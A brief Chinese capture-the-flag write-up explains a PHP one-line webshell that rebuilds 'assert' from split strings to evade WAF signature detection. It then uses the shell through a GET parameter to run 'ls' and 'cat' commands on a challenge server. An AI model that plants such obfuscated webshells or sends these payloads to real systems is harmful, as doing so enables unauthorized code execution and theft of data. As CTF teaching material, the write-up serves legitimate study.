一、题目
二、方法
- 提示中给了php代码:
php
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s'])
解析:
$poc = "a#s#s#e#r#t";
explode("#", $poc) 以 # 为分隔符,把字符串拆成数组:
php
$poc_1 = ["a", "s", "s", "e", "r", "t"];
然后拼接:
php
$poc_2 = "a"."s"."s"."e"."r"."t"; // 即 "assert"
最后执行:
php
assert($_GET['s']);
所以,这实际上是一个 assert 一句话木马,通过 GET 参数 s 传入代码并执行。
- 过狗一句话什么意思?
- "狗"通常指 安全狗(SafeDog) 之类的 WAF(Web 应用防火墙)。
bash直接写 assert($_GET['s']) 会被 WAF 拦截,因为 assert 是危险函数,$_GET 也是敏感特征。- 出题人用 explode + 字符串拼接的方式,把 assert 拆成 a#s#s#e#r#t,运行时才拼成 assert,从而绕过 WAF 的静态特征检测。这就是"过狗"的含义。
- 既然 assert($_GET's') 会执行我们传入的代码,那么我们可以通过 ?s=... 来执行任意 PHP 代码。
- 先用 PHP 函数读取文件,找到一个flag的txt文件。
html
http://160.202.254.160:11145/?s=system('ls');

- 查看该文件,得到flag。
html
http://160.202.254.160:11145/?s=system('cat flaga15808abee46a1d5.txt');

